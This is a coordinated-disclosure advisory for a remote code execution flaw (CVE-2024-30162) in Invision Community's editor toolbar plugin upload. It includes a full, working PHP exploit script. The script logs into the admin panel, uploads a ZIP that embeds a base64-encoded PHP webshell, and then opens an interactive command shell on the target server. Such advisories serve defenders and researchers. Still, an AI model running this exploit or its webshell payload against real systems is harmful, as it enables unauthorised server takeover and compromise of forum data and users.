Invision Community 4.7.16 Remote Code Execution Vulnerability

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Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability
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[-] Software Link:

https://invisioncommunity.com


[-] Affected Versions:

Version 4.7.16 and prior versions.


[-] Vulnerability Description:

The vulnerability is located in the
/applications/core/modules/admin/editor/toolbar.php script.
Specifically, into the
IPS\core\modules\admin\editor\_toolbar::addPlugin() method, which will
handle
the upload of a ZIP file, trying to extract its content into the
/applications/core/interface/ckeditor/ckeditor/plugins/ directory; if
the ZIP archive does not include
a plugin.js file, then the extracted ZIP content will be recursively
deleted from the file system,
otherwise it will stay there. This can be exploited to execute
arbitrary PHP code by uploading a
ZIP archive containing a plugin.js file (which can also be empty)
along with a PHP file. Successful
exploitation of this vulnerability requires an Administrator account
having the "toolbar_manage" permission.


[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2024-30162.php


[-] Solution:

No official solution is currently available.


[-] Disclosure Timeline:

[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure
[12/03/2024] - Version 4.7.16 released, but the issue is still not fixed
[20/03/2024] - CVE identifier requested
[24/03/2024] - CVE identifier assigned
[05/04/2024] - Coordinated public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2024-30162 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Other References:

https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/


[-] Original Advisory:

http://karmainsecurity.com/KIS-2024-03


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PoC:

<?php

/*
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    Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability
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    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://invisioncommunity.com

    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+

    [-] Vulnerability Description:

    The vulnerability is located in the /applications/core/modules/admin/editor/toolbar.php script.
    Specifically, into the IPS\core\modules\admin\editor\_toolbar::addPlugin() method, which will
    handle the upload of a ZIP file, trying to extract its content into the
    /applications/core/interface/ckeditor/ckeditor/plugins/ directory; if the ZIP archive does
    not include a plugin.js file, then the extracted ZIP content will be recursively deleted
    from the file system, otherwise it will stay there. This can be exploited to execute
    arbitrary PHP code by uploading a ZIP archive containing a plugin.js file (which can
    also be empty) along with a PHP file. Successful exploitation of this vulnerability
    requires an Administrator account having the "toolbar_manage" permission.

    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2024-03
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Email> <Password>\n\n");

$url = $argv[1];
$email = $argv[2];
$passwd = $argv[3];
$ch = curl_init();

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');

print "[+] Logging into AdminCP\n";

curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=system&controller=login");
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

curl_setopt($ch, CURLOPT_POSTFIELDS, "csrfKey={$csrf[1]}&auth=".urlencode($email)."&password={$passwd}&_processLogin=usernamepassword");

if (!preg_match("/303 See Other/i", curl_exec($ch))) die("[-] Login failed!\n");

print "[+] Uploading malicious ZIP file\n";

curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=editor&controller=toolbar&do=addPlugin");
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

$plg = md5(time()).".zip";

@file_put_contents("rce.zip", base64_decode("UEsDBAoDAAAAADxvKFgecSjnMgAAADIAAAAJAAAAaW5kZXgucGhwPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VSVkVSWydIVFRQX0MnXSkpOyA/PgpQSwMECgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAAABwbHVnaW4uanNQSwECPwMKAwAAAAA8byhYHnEo5zIAAAAyAAAACQAkAAAAAAAAACCAtIEAAAAAaW5kZXgucGhwCgAgAAAAAAABABgAgMvlSzJC2gGAy+VLMkLaAYDL5UsyQtoBUEsBAj8DCgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAJAAAAAAAAAAggLSBWQAAAHBsdWdpbi5qcwoAIAAAAAAAAQAYAAC84E4yQtoBALzgTjJC2gEAvOBOMkLaAVBLBQYAAAAAAgACALYAAACAAAAAAAA="));

$params = ["csrfKey" => $csrf[1], "form_submitted" => 1, "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg)];

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Upload failed!\n");

print "[+] Launching shell\n";

curl_setopt($ch, CURLOPT_URL, "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/");
curl_setopt($ch, CURLOPT_POST, false);

$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";

while(1)
{
  print "\ninvision-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode(sprintf($phpcode, base64_encode($cmd)))]);
  preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}